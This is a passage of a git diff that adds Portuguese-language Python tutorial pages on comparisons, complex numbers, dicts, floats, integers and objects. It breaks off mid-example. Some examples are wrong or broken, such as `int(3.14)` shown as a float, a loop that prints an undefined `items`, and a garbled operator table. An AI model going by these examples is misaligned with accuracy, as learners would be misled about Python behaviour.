diff --git a/client/src/guide/portuguese/python/comparisons/index.md b/client/src/guide/portuguese/python/comparisons/index.md
new file mode 100644
index 0000000000..1e954a98b7
--- /dev/null
+++ b/client/src/guide/portuguese/python/comparisons/index.md
@@ -0,0 +1,84 @@
+---
+title: Python Comparisons
+localeTitle: Comparações Python
+---
+[Documentos do Python - Comparações](https://docs.python.org/3/library/stdtypes.html#comparisons)
+
+Existem oito operações de comparação no Python. Todos eles têm a mesma prioridade (que é maior que a das operações booleanas). Comparações podem ser encadeadas arbitrariamente; por exemplo, `x < y <= z` é equivalente a `x < y and y <= z` , exceto que `y` é avaliado apenas uma vez (mas em ambos os casos `z` não é avaliado quando `x < y` é falso).
+
+Esta tabela resume as operações de comparação:
+
+Operação | Significado  
+\--------- | -----------------------  
+`<` | estritamente menos do que  
+`<=` | menos que ou igual a `>` | estritamente maior que `>=` | Melhor que ou igual a `==` | igual a `!=` | não é igual a `is` | identidade do objeto  
+`is not` | identidade do objeto negado
+
+Objetos de diferentes tipos, exceto diferentes tipos numéricos, nunca se comparam iguais. Além disso, alguns tipos (por exemplo, objetos de função) suportam apenas uma noção degenerada de comparação em que quaisquer dois objetos desse tipo são desiguais. Os operadores `<` , `<=` , `>` e `>=` `TypeError` uma exceção `TypeError` ao comparar um número complexo com outro tipo numérico integrado, quando os objetos forem de tipos diferentes que não puderem ser comparados ou em outros casos em que não houver definição encomenda.
+
+As instâncias não idênticas de uma classe normalmente comparam como não iguais, a menos que a classe defina o `__eq__()` .
+
+Instâncias de uma classe não podem ser ordenadas com relação a outras instâncias da mesma classe, ou outros tipos de objetos, a menos que a classe defina métodos suficientes `__lt__()` , `__le__()` , `__gt__()` e `__ge__()` (em geral , `__lt__()` e `__eq__()` são suficientes, se você quiser os significados convencionais dos operadores de comparação).
+
+O comportamento dos operadores `is` e `is not` pode ser personalizado; também eles podem ser aplicados a quaisquer dois objetos e nunca levantar uma exceção.
+
+Também podemos encadear `<` e `>` operadores juntos. Por exemplo, `3 < 4 < 5` retornará `True` , mas `3 < 4 > 5` não. Também podemos encadear o operador de igualdade. Por exemplo, `3 == 3 < 5` retornará `True` mas `3 == 5 < 5` não retornará.
+
+### Comparações de Igualdade - "é" vs "=="
+
+No Python, existem dois operadores de comparação que nos permitem verificar se dois objetos são iguais. O operador `is` e o operador `==` . No entanto, existe uma diferença fundamental entre eles!
+
+A principal diferença entre 'é' e '==' pode ser resumida como:
+
+*   `is` usado para comparar **identidade**
+*   `==` é usado para comparar a **igualdade**
+
+## Exemplo
+
+Primeiro, crie uma lista em Python.
+
+```python
+myListA = [1,2,3] 
+```
+
+Em seguida, crie uma cópia dessa lista.
+
+```python
+myListB = myListA 
+```
+
+Se usarmos o operador '==' ou o operador 'is', ambos resultarão em uma saída **True** .
+
+```python
+>>> myListA == myListB # both lists contains similar elements 
+ True 
+ >>> myListB is myListA # myListB contains the same elements 
+ True 
+```
+
+Isso ocorre porque myListA e myListB estão apontando para a mesma variável de lista, que defini no início do meu programa Python. Ambas as listas são exatamente as mesmas, tanto em identidade quanto em conteúdo.
+
+No entanto, e se eu criar agora uma nova lista?
+
+```python
+myListC = [1,2,3] 
+```
+
+Realizar o operador `==` ainda mostra que ambas as listas são as mesmas, em termos de conteúdo.
+
+```python
+>>> myListA == myListC 
+ True 
+```
+
+No entanto, executar o operador `is` agora produzirá uma saída `False` . Isso ocorre porque myListA e myListC são duas variáveis ​​diferentes, apesar de conter os mesmos dados. Mesmo parecendo iguais, eles são **diferentes** .
+
+```python
+>>> myListA is myListC 
+ False # both lists have different reference 
+```
+
+Resumindo:
+
+*   Uma expressão `is` saída `True` se ambas as variáveis ​​estiverem apontando para a mesma referência
+*   Uma expressão `==` gera `True` se ambas as variáveis ​​contiverem os mesmos dados
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/complex-numbers/index.md b/client/src/guide/portuguese/python/complex-numbers/index.md
new file mode 100644
index 0000000000..0fb5336816
--- /dev/null
+++ b/client/src/guide/portuguese/python/complex-numbers/index.md
@@ -0,0 +1,62 @@
+---
+title: Python Complex Numbers
+localeTitle: Números Complexos do Python
+---
+Números complexos têm uma parte real e uma parte imaginária, cada uma representada por um número de ponto flutuante.
+
+A parte imaginária de um número complexo pode ser criada usando um literal imaginário, isso resulta em um número complexo com uma parte real de `0.0` :
+
+```python
+>>> a = 3.5j 
+ >>> type(a) 
+ <class 'complex'> 
+ >>> print(a) 
+ 3.5j 
+ >>> a.real 
+ 0.0 
+ >>> a.imag 
+ 3.5 
+```
+
+Não existe literal para criar um número complexo com partes reais e imaginárias diferentes de zero. Para criar um número complexo de parte real diferente de zero, adicione um literal imaginário a um número de ponto flutuante:
+
+```python
+>>> a = 1.1 + 3.5j 
+ >>> type(a) 
+ <class 'complex'> 
+ >>> print(a) 
+ (1.1+3.5j) 
+ >>> a.real 
+ 1.1 
+ >>> a.imag 
+ 3.5 
+```
+
+Ou use o [construtor complexo](https://docs.python.org/3/library/functions.html#complex) .
+
+```python
+class complex([real[, imag]]) 
+```
+
+Os argumentos usados ​​para chamar o construtor complexo podem ser do tipo numérico (incluindo `complex` ) para qualquer parâmetro:
+
+```python
+>>> complex(1, 1) 
+ (1+1j) 
+ >>> complex(1j, 1j) 
+ (-1+1j) 
+ >>> complex(1.1, 3.5) 
+ (1.1+3.5j) 
+ >>> complex(1.1) 
+ (1.1+0j) 
+ >>> complex(0, 3.5) 
+ 3.5j 
+```
+
+Uma `string` também pode ser usada como argumento. Nenhum segundo argumento é permitido se uma string for usada como argumento
+
+```python
+>>> complex("1.1+3.5j") 
+ (1.1+3.5j) 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/containers/index.md b/client/src/guide/portuguese/python/containers/index.md
new file mode 100644
index 0000000000..6bac23f73f
--- /dev/null
+++ b/client/src/guide/portuguese/python/containers/index.md
@@ -0,0 +1,7 @@
+---
+title: Python Containers
+localeTitle: Recipientes Python
+---
+Alguns objetos contêm referências a outros objetos; estes são chamados recipientes. Exemplos de contêineres são tuplas, listas e dicionários. As referências fazem parte do valor de um contêiner. Na maioria dos casos, quando falamos sobre o valor de um contêiner, nós implicamos os valores, não as identidades dos objetos contidos; no entanto, quando falamos sobre a mutabilidade de um contêiner, apenas as identidades dos objetos contidos imediatamente estão implícitas. Portanto, se um contêiner imutável (como uma tupla) contiver uma referência a um objeto mutável, seu valor será alterado se esse objeto mutável for alterado.
+
+[Documentos em Python - Valores e tipos de objeto](https://docs.python.org/3/reference/datamodel.html#objects-values-and-types)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/converting-integer-to-string-in-python/index.md b/client/src/guide/portuguese/python/converting-integer-to-string-in-python/index.md
new file mode 100644
index 0000000000..ee771d8417
--- /dev/null
+++ b/client/src/guide/portuguese/python/converting-integer-to-string-in-python/index.md
@@ -0,0 +1,75 @@
+---
+title: Converting Integer to String in Python
+localeTitle: Convertendo Inteiro em String em Python
+---
+## Convertendo Inteiro em String em Python
+
+Ao contrário de muitas outras linguagens, o Python não tipifica implicitamente números inteiros (ou floats) em strings ao concatenar com strings. Felizmente, o Python possui uma útil função `str()` que converte o argumento passado para um formato de string.
+
+#### O caminho errado
+
+Programadores vindos de outras linguagens podem tentar fazer a seguinte concatenação de cadeias que produz um erro:
+
+```py
+age = 18 
+ 
+ string = "Hello, I am " + age + " years old" 
+```
+
+[Executar código no repl.it](https://repl.it/JyYH/0)
+
+O erro que aparece é
+```
+Traceback (most recent call last): 
+  File "python", line 3, in <module> 
+ TypeError: must be str, not int 
+```
+
+`TypeError: must be str, not int` indica que o inteiro deve primeiro ser convertido em uma string a ser concatenada.
+
+#### O caminho correto
+
+Exemplo de concatenação simples:
+
+```py
+age = 18 
+ 
+ print("Hello, I am " + str(age) + " years old") 
+ 
+ # Output 
+ # Hello, I am 18 years old 
+```
+
+[Executar código no repl.it](https://repl.it/Jz8Q/0)
+
+Imprimir `1 2 3 4 5 6 7 8 9 10` usando uma única corda
+
+```py
+result = "" 
+ 
+ for i in range(1, 11): 
+    result += str(i) + " " 
+ 
+ print(result) 
+ 
+ # Output 
+ # 1 2 3 4 5 6 7 8 9 10 
+```
+
+[Executar código no repl.it](https://repl.it/KBLB/0)
+
+#### Explicação linha por linha do código acima
+
+1.  Em primeiro lugar, uma variável 'result' é atribuída a uma string vazia.
+2.  O loop está sendo usado para iterar em uma lista de números.
+3.  Esta lista de números é gerada usando a função de intervalo.
+4.  então range (1,11) vai gerar uma lista de números de 1 a 10.
+5.  Em cada iteração de loop, essa variável 'i' vai ocupar valores de 1 a 10.
+6.  Na primeira iteração quando a variável i = 1, então a variável \[resultado = resultado + str (i) + "(caractere de espaço)"\], str (i) converte o 'i' que é um valor inteiro para um valor de cadeia.
+7.  Como i = 1, na primeira iteração, finalmente resulta = 1.
+8.  E o mesmo processo continua até i = 10 e finalmente após o último resultado da iteração = 1 2 3 4 5 6 7 8 9 10.
+9.  Portanto, quando finalmente imprimimos o resultado após o loop for, a saída no console é '1 2 3 4 5 6 7 8 9 10'.
+
+#### Mais Informações:
+
+[Documentação oficial do Python para `str()`](https://docs.python.org/3/library/stdtypes.html#str)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/creating-guis-in-python3/index.md b/client/src/guide/portuguese/python/creating-guis-in-python3/index.md
new file mode 100644
index 0000000000..82ec0c8243
--- /dev/null
+++ b/client/src/guide/portuguese/python/creating-guis-in-python3/index.md
@@ -0,0 +1,9 @@
+---
+title: Creating GUI's in Python3
+localeTitle: Criando GUIs em Python3
+---
+# Criando GUIs em Python 3
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/java/collections/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/data-structures/dictionaries/index.md b/client/src/guide/portuguese/python/data-structures/dictionaries/index.md
new file mode 100644
index 0000000000..59f62e2d44
--- /dev/null
+++ b/client/src/guide/portuguese/python/data-structures/dictionaries/index.md
@@ -0,0 +1,130 @@
+---
+title: The Python Dict
+localeTitle: O Dict Python
+---
+Um Dicionário (também conhecido como "dict") em python é um tipo de dados interno que pode ser usado para armazenar pares de **`key-value`** . Isso permite que você trate um **`dict`** como se fosse um _banco_ de _dados_ para armazenar e organizar dados.
+
+A coisa especial sobre os dicionários é a maneira como eles são implementados. A estrutura tipo mesa de hash facilita a verificação de existência - o que significa que podemos determinar facilmente se uma chave específica está presente no dicionário sem precisar examinar cada elemento. O interpretador Python pode simplesmente ir até a chave de localização e verificar se a chave está lá.
+
+Dicionários podem usar quase todos os tipos de dados arbitrários, como strings, inteiros, etc., para chaves. No entanto, valores que não são hashable, ou seja, valores contendo listas, dicionários ou outros tipos mutáveis ​​(que são comparados por valor em vez de por identidade de objeto) não podem ser usados ​​como chaves. Os tipos numéricos usados ​​para teclas obedecem às regras normais de comparação numérica: se dois números forem iguais (como `1` e `1.0` ), eles poderão ser usados ​​de forma intercambiável para indexar a mesma entrada do dicionário. (Observe, no entanto, que, como os computadores armazenam números de ponto flutuante como aproximações, geralmente é insensato usá-los como chaves de dicionário.)
+
+Um requisito mais importante de um dicionário é que as chaves **devem** ser exclusivos.  
+Para criar um dicionário vazio, basta usar um par de chaves:
+
+```python
+    >>> teams = {} 
+    >>> type(teams) 
+    >>> <class 'dict'> 
+```
+
+  
+Para criar um dicionário não vazio com alguns valores iniciais, coloque uma lista separada por vírgula de pares de valores-chave:
+
+```python
+    >>> teams = {'barcelona': 1875, 'chelsea': 1910} 
+    >>> teams 
+    {'barcelona': 1875, 'chelsea': 1910} 
+```
+
+É fácil adicionar pares de valores-chave a um dicionário existente:
+
+```python
+    >>> teams['santos'] = 1787 
+    >>> teams 
+    {'chelsea': 1910, 'barcelona': 1875, 'santos': 1787} # Notice the order - Dictionaries are unordered ! 
+    >>> # extracting value - Just provide the key 
+    ... 
+    >>> teams['barcelona'] 
+    1875 
+```
+
+  
+**`del`** operator é usado para excluir um par de valores-chave do dict. Nos cenários em que uma chave que já está em uso é novamente usada para armazenar valores, o valor antigo associado a essa chave é completamente perdido. Além disso, lembre-se de que é um erro extrair o valor usando uma chave inexistente.
+
+```python
+    >>> del teams['santos'] 
+    >>> teams 
+    {'chelsea': 1910, 'barcelona': 1875} 
+    >>> teams['chelsea'] = 2017 # overwriting 
+    >>> teams 
+    {'chelsea': 2017, 'barcelona': 1875} 
+```
+
+  
+**`in`** palavra-chave pode ser usado para verificar se existe uma chave no dict ou não:
+
+```python
+    >>> 'sanots' in teams 
+    False 
+    >>> 'barcelona' in teams 
+    True 
+    >>> 'chelsea' not in teams 
+    False 
+```
+
+  
+**`keys`** é um _método interno_ que pode ser usado para obter as chaves de um determinado dicionário. Para extrair as chaves presentes em um dict como listas:
+
+```python
+    >>> club_names = list(teams.keys()) 
+    >>> club_names 
+    ['chelsea', 'barcelona'] 
+```
+
+  
+Ainda outra maneira de criar dicionário é usando o método **`dict()`** :
+
+```python
+    >>> players = dict( [('messi','argentina'), ('ronaldo','portugal'), ('kaka','brazil')] ) # sequence of key-value pair is passed 
+    >>> players 
+    {'ronaldo': 'portugal', 'kaka': 'brazil', 'messi': 'argentina'} 
+    >>> 
+    >>> # If keys are simple strings, it's quite easier to specify pairs using keyword arguments 
+    ... 
+    >>> dict( totti = 38, zidane = 43 ) 
+    {'zidane': 43, 'totti': 38} 
+```
+
+As compreensões de ditado podem ser usadas também para criar dicionários a partir de expressões arbitrárias de chave e valor:
+
+```python
+    >>> {x: x**2 for x in (2, 4, 6)} 
+    {2: 4, 4: 16, 6: 36} 
+```
+
+**Looping no dicionário**  
+Para simplesmente percorrer as teclas no dicionário, em vez das chaves e valores:
+
+```python
+    >>> d = {'x': 1, 'y': 2, 'z': 3} 
+    >>> for key in d: 
+    ...     print(key) # do something 
+    ... 
+    x 
+    y 
+    z 
+```
+
+Para repetir a chave e o valor, você pode usar o seguinte:  
+Para Python 2.x:
+
+```python
+    >>> for key, item in d.iteritems(): 
+    ...     print items 
+    ... 
+    1 
+    2 
+    3 
+```
+
+Use **`items()`** para o Python 3.x:
+
+```python
+    >>> for key, item in d.items(): 
+    ...     print(key, items) 
+    ... 
+    x 1 
+    y 2 
+    z 3 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/data-structures/floating-point-numbers/index.md b/client/src/guide/portuguese/python/data-structures/floating-point-numbers/index.md
new file mode 100644
index 0000000000..8ccad13d2a
--- /dev/null
+++ b/client/src/guide/portuguese/python/data-structures/floating-point-numbers/index.md
@@ -0,0 +1,118 @@
+---
+title: Python Floating Point Numbers
+localeTitle: Números de pontos flutuantes em Python
+---
+Algumas informações gerais sobre números de ponto flutuante e como elas funcionam em Python podem ser encontradas [aqui](https://docs.python.org/3/tutorial/floatingpoint.html) .
+
+Quase todas as implementações do Python seguem a especificação IEEE 754: Standard para aritmética binária de ponto flutuante. Mais informações encontradas no [site](http://grouper.ieee.org/groups/754/) do [IEEE](http://grouper.ieee.org/groups/754/) .
+
+Objetos flutuantes podem ser criados usando o uso de [literais de ponto flutuante](https://docs.python.org/3/reference/lexical_analysis.html#floating-point-literals) :
+```
+>>> 3.14 
+ 3.14 
+ >>> 314\.    # Trailing zero(s) not required. 
+ 314.0 
+ >>> .314    # Leading zero(s) not required. 
+ 0.314 
+ >>> 3e0 
+ 3.0 
+ >>> 3E0     # 'e' or 'E' can be used. 
+ 3.0 
+ >>> 3e1     # Positive value after e moves the decimal to the right. 
+ 30.0 
+ >>> 3e-1    # Negative value after e moves the decimal to the left. 
+ 0.3 
+ >>> 3.14e+2 # '+' not required but can be used for exponent part. 
+ 314.0 
+```
+
+Literais numéricos não contêm um sinal, no entanto, criar objetos float negativos é possível prefixando com um operador unário `-` (menos) sem espaço antes do literal
+```
+>>> -3.141592653589793 
+ -3.141592653589793 
+ >>> type(-3.141592653589793) 
+ <class 'float'> 
+```
+
+Da mesma forma, objetos float positivos podem ser prefixados com um operador unário `+ (` mais) sem espaço antes do literal. Geralmente `+` é omitido:
+```
+>>> +3.141592653589793 
+ 3.141592653589793 
+```
+
+Observe que zero (s) inicial e final (es) são válidos para literais de ponto flutuante
+```
+>>> 0.0 
+ 0.0 
+ >>> 00.00 
+ 0.0 
+ >>> 00100.00100 
+ 100.001 
+ >>> 001e0010      # Same as 1e10 
+ 10000000000.0 
+```
+
+O [construtor `float`](https://docs.python.org/3/library/functions.html#float) é outra maneira de criar objetos `float` .
+
+Criando `float` objectos com literais de ponto flutuante é preferido quando possível:
+```
+>>> a = 3.14         # Prefer floating point literal when possible. 
+ >>> type(a) 
+ <class 'float'> 
+ >>> b = int(3.14)    # Works but unnecessary. 
+ >>> type(b) 
+ <class 'float'> 
+```
+
+No entanto, o construtor float permite criar objetos float de outros tipos de números:
+```
+>>> a = 4 
+ >>> type(a) 
+ <class 'int'> 
+ >>> print(a) 
+ 4 
+ >>> b = float(4) 
+ >>> type(b) 
+ <class 'float'> 
+ >>> print(b) 
+ 4.0 
+ >>> float(400000000000000000000000000000000) 
+ 4e+32 
+ >>> float(.00000000000000000000000000000004) 
+ 4e-32 
+ >>> float(True) 
+ 1.0 
+ >>> float(False) 
+ 0.0 
+```
+
+O construtor `float` também fará objetos `float` de strings que representam literais numéricos:
+```
+>>> float('1') 
+ 1.0 
+ >>> float('.1') 
+ 0.1 
+ >>> float('3.') 
+ 3.0 
+ >>> float('1e-3') 
+ 0.001 
+ >>> float('3.14') 
+ 3.14 
+ >>> float('-.15e-2') 
+ -0.0015 
+```
+
+O construtor `float` também pode ser usado para fazer uma representação numérica de `NaN` (Não um Número), `infinity` negativo e `infinity` (cadeias de notas para estas são insensíveis a maiúsculas e minúsculas):
+```
+>>> float('nan') 
+ nan 
+ >>> float('inf') 
+ inf 
+ >>> float('-inf') 
+ -inf 
+ >>> float('infinity') 
+ inf 
+ >>> float('-infinity') 
+ -inf 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/data-structures/index.md b/client/src/guide/portuguese/python/data-structures/index.md
new file mode 100644
index 0000000000..e044518d13
--- /dev/null
+++ b/client/src/guide/portuguese/python/data-structures/index.md
@@ -0,0 +1,18 @@
+---
+title: The Python Data Structures
+localeTitle: As estruturas de dados do Python
+---
+Uma estrutura de dados é uma maneira particular de organizar dados em um computador para que possa ser usada com eficiência. O Python vem com um conjunto robusto de estruturas de dados embutidas. Alguns dos mais usados ​​são: -
+
+*   Listas
+*   Tuplas
+*   Dicionários
+
+Principalmente, as estruturas de dados podem ser divididas em duas categorias:
+
+*   Mutável: - Uma estrutura de dados mutável é uma estrutura cujo estado pode ser modificado depois de criado. Listas e dicionários de Python são mutáveis.
+*   Imutável: - Uma estrutura de dados imutável não pode ser modificada. Exemplo: - Uma vez que uma tupla é criada, não podemos atualizar os valores dentro dela.
+
+## Referência:
+
+[Estruturas de Dados Python](https://docs.python.org/3.7/tutorial/datastructures.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/data-structures/integers/index.md b/client/src/guide/portuguese/python/data-structures/integers/index.md
new file mode 100644
index 0000000000..740b874c21
--- /dev/null
+++ b/client/src/guide/portuguese/python/data-structures/integers/index.md
@@ -0,0 +1,165 @@
+---
+title: Python Integers
+localeTitle: Inteiros em Python
+---
+O domínio teórico para números inteiros em python é infinito negativo até o infinito. Na prática, os valores inteiros são limitados pela quantidade de memória disponível.
+
+No Python 2, havia uma distinção entre **`int`** , números que se encaixam em números _longos_ e **`long`** , de 32 ou 64 bits, limitados pela memória disponível. O Python 3 unificou os dois tipos em apenas **`int`** , mais informações no [PEP 237](https://www.python.org/dev/peps/pep-0237/) .
+
+**criação `int` usando literais inteiros**
+
+[Literais Inteiros](https://docs.python.org/3/reference/lexical_analysis.html#integer-literals)
+
+_Objetos inteiros_ podem ser criados usando o uso de literais inteiros. Números sem adornos sem decimais são literais inteiros:
+```
+>>> 1234567890           # Unadorned numbers are integer literals 
+ 1234567890 
+ >>> type(1234567890) 
+ <class 'int'> 
+```
+
+Literais numéricos não contêm um sinal, no entanto, é possível criar _objetos inteiros_ negativos prefixando com um operador unário `-` (menos) sem espaço antes do literal:
+```
+>>> -1234567890 
+ -1234567890 
+ >>> type(-1234567890) 
+ <class 'int'> 
+```
+
+Da mesma forma, objetos inteiros positivos podem ser criados prefixando um operador unário `+` (mais) sem espaço antes dos dígitos. Normalmente `+` é omitido:
+```
+>>> +1234 
+ 1234 
+```
+
+Os números inteiros binários (base 2, prefixo: `0b` ou `0B` ), octal (base 8, prefixo: `0o` ou `0O` ) e hexadecimal (base 16, prefixo: `0x` ou `0X` ) também podem ser criados usando literais de inteiros:
+```
+>>> 0b1, 0b10, 0b11 
+ (1, 2, 3) 
+ >>> 0o1, 0o10, 0o11 
+ (1, 8, 9) 
+ >>> 0x1, 0x10, 0x11 
+ (1, 16, 17) 
+```
+
+Observe que os 0s iniciais para literais inteiros diferentes de zero **não** são **permitidos** :
+```
+>>> 0     # Zero by itself is okay. 
+ 0 
+ >>> 01    # Leading zero(s) cause SyntaxError. 
+  File "<stdin>", line 1 
+    01 
+     ^ 
+ SyntaxError: invalid token 
+```
+
+O [construtor](https://docs.python.org/3/library/functions.html#int) `int` é outra maneira de criar _objetos inteiros_ .
+```
+class int(x=0) 
+ class int(x, base=10) 
+```
+
+Criar _objetos inteiros_ com literais inteiros é preferível quando possível:
+```
+>>> a = 1         # Prefer integer literal when possible. 
+ >>> type(a) 
+ <class 'int'> 
+ >>> b = int(1)    # Works but unnecessary. 
+ >>> type(b) 
+ <class 'int'> 
+```
+
+No entanto, o construtor permite criar _objetos inteiros_ de outros tipos de números:
+```
+>>> a = 1.123 
+ >>> type(a) 
+ <class 'float'> 
+ >>> print(a) 
+ 1.123 
+ >>> b = int(1.123) 
+ >>> type(b) 
+ <class 'int'> 
+ >>> print(b) 
+ 1 
+```
+
+Usando o construtor `int` para números de ponto flutuante truncará o número em direção a zero:
+```
+>>> int(-1.23) 
+ -1 
+ >>> int(1.23) 
+ 1 
+```
+
+As constantes `boolean` internas são instâncias da classe `bool` e são subclasses da classe `int` , tornando-as uma espécie de tipo numérico:
+```
+>>> type(True) 
+ <class 'bool'> 
+ >>> issubclass(bool, int) 
+ True 
+```
+
+Se isso não faz sentido para você, não se preocupe. Por enquanto, lembre-se de que chamar o construtor int com objetos `boolean` retornará _objetos inteiros_ :
+```
+>>> int(True) 
+ 1 
+ >>> int(False) 
+ 0 
+```
+
+O construtor `int` também fará _objetos inteiros a_ partir de strings:
+```
+>>> a = "10" 
+ >>> type(a) 
+ <class 'str'> 
+ >>> b = int("10") 
+ >>> type(b) 
+ <class 'int'> 
+```
+
+_Strings_ para o construtor `int` devem representar um literal inteiro:
+
+O segundo parâmetro do construtor `int` é especificar uma base (padrão: 10). Bases válidas são 0 e 2-36.
+
+Se uma base explícita for fornecida, o primeiro argumento deve ser uma string.
+```
+>>> int("111", 2) 
+ 7 
+ >>> int(111, 2) 
+ Traceback (most recent call last): 
+  File "<stdin>", line 1, in <module> 
+ TypeError: int() can't convert non-string with explicit base 
+```
+
+A string usada para o construtor `int` com uma base explícita deve ser um literal inteiro válido para essa base:
+```
+>>> int('11', 2) 
+ 3 
+ >>> int('12', 2) 
+ Traceback (most recent call last): 
+  File "<stdin>", line 1, in <module> 
+ ValueError: invalid literal for int() with base 2: '12' 
+```
+
+Ambas as sequências prefixadas e não prefixadas de literais inteiros podem ser usadas, no entanto, se usadas, o prefixo deve corresponder à base fornecida.
+```
+>>> int('1101', 2) 
+ 13 
+ >>> int('0b1101', 2) 
+ 13 
+ >>> int('0x1101', 2) 
+ Traceback (most recent call last): 
+  File "<stdin>", line 1, in <module> 
+ ValueError: invalid literal for int() with base 2: '0x1101' 
+```
+
+Se uma seqüência de caracteres prefixada e base 0 for usada, o objeto inteiro criado usará a base especificada pelo prefixo. Se nenhum prefixo for usado, então a base é assumida 10
+```
+>>> int('100', 0) 
+ 100 
+ >>> int('0b100', 0) 
+ 4 
+ >>> int('0o100', 0) 
+ 64 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/data-structures/objects/index.md b/client/src/guide/portuguese/python/data-structures/objects/index.md
new file mode 100644
index 0000000000..c9c27f81fe
--- /dev/null
+++ b/client/src/guide/portuguese/python/data-structures/objects/index.md
@@ -0,0 +1,116 @@
+---
+title: The Python Objects
+localeTitle: Os objetos do Python
+---
+> No Python, tudo é um _objeto_ .
+
+_Objetos_ representam um agrupamento lógico de atributos. Atributos são dados e / ou funções. Quando um objeto é criado no Python, ele é criado com uma _identidade_ , _tipo_ e _valor_ .
+
+Em outras linguagens, os _primitivos_ são _valores_ que não possuem _propriedades_ (atributos). Por exemplo, em javascript `undefined` , `null` , `boolean` , `string` , `number` e `symbol` (novo no ECMAScript 2015) são primitivos.
+
+Em Python, não há primitivos. `None` , _booleanas_ , _cadeias de caracteres_ , _números_ e _funções_ pares são todos os _objetos,_ independentemente de como eles são criados.
+
+Podemos demonstrar isso usando algumas funções internas:
+
+*   [`id`](https://docs.python.org/3/library/functions.html#id)
+*   [`type`](https://docs.python.org/3/library/functions.html#type)
+*   [`dir`](https://docs.python.org/3/library/functions.html#dir)
+*   [`issubclass`](https://docs.python.org/3/library/functions.html#issubclass)
+
+Constantes `None` , `True` e `False` são _objetos_ :
+
+Nós testamos o objeto `None` aqui.
+
+```python
+>>> id(None) 
+ 4550218168 
+ >>> type(None) 
+ <class 'NoneType'> 
+ >>> dir(None) 
+ [__bool__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__'] 
+ >>> issubclass(type(None), object) 
+ True 
+```
+
+Em seguida, vamos inspecionar `True` .
+
+```python
+>>> id(True) 
+ 4550117616 
+ >>> type(True) 
+ <class 'bool'> 
+ >>> dir(True) 
+ ['__abs__', '__add__', '__and__', '__bool__', '__ceil__', '__class__', '__delattr__', '__dir__', '__divmod__', '__doc__', '__eq__', '__float__', '__floor__', '__floordiv__', '__format__', '__ge__', '__getattribute__', '__getnewargs__', '__gt__', '__hash__', '__index__', '__init__', '__int__', '__invert__', '__le__', '__lshift__', '__lt__', '__mod__', '__mul__', '__ne__', '__neg__', '__new__', '__or__', '__pos__', '__pow__', '__radd__', '__rand__', '__rdivmod__', '__reduce__', '__reduce_ex__', '__repr__', '__rfloordiv__', '__rlshift__', '__rmod__', '__rmul__', '__ror__', '__round__', '__rpow__', '__rrshift__', '__rshift__', '__rsub__', '__rtruediv__', '__rxor__', '__setattr__', '__sizeof__', '__str__', '__sub__', '__subclasshook__', '__truediv__', '__trunc__', '__xor__', 'bit_length', 'conjugate', 'denominator', 'from_bytes', 'imag', 'numerator', 'real', 'to_bytes'] 
+ >>> issubclass(type(True), object) 
+ True 
+```
+
+Nenhuma razão para deixar de fora `False` !
+
+```python
+>>> id(False) 
+ 4550117584 
+ >>> type(False) 
+ <class 'bool'> 
+ >>> dir(False) 
+ ['__abs__', '__add__', '__and__', '__bool__', '__ceil__', '__class__', '__delattr__', '__dir__', '__divmod__', '__doc__', '__eq__', '__float__', '__floor__', '__floordiv__', '__format__', '__ge__', '__getattribute__', '__getnewargs__', '__gt__', '__hash__', '__index__', '__init__', '__int__', '__invert__', '__le__', '__lshift__', '__lt__', '__mod__', '__mul__', '__ne__', '__neg__', '__new__', '__or__', '__pos__', '__pow__', '__radd__', '__rand__', '__rdivmod__', '__reduce__', '__reduce_ex__', '__repr__', '__rfloordiv__', '__rlshift__', '__rmod__', '__rmul__', '__ror__', '__round__', '__rpow__', '__rrshift__', '__rshift__', '__rsub__', '__rtruediv__', '__rxor__', '__setattr__', '__sizeof__', '__str__', '__sub__', '__subclasshook__', '__truediv__', '__trunc__', '__xor__', 'bit_length', 'conjugate', 'denominator', 'from_bytes', 'imag', 'numerator', 'real', 'to_bytes'] 
+ >>> issubclass(type(False), object) 
+ True 
+```
+
+_Strings_ , mesmo quando criadas por literais de string, também são _objetos_ .
+
+```python
+>>> id("Hello campers!") 
+ 4570186864 
+ >>> type('Hello campers!') 
+ <class 'str'> 
+ >>> dir("Hello campers!") 
+ ['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill'] 
+ >>> issubclass(type('Hello campers!'), object) 
+ True 
+```
+
+O mesmo com os _números_
+
+```python
+>>> id(42) 
+ 4550495728 
+ >>> type(42) 
+ <class 'int'> 
+ >>> dir(42) 
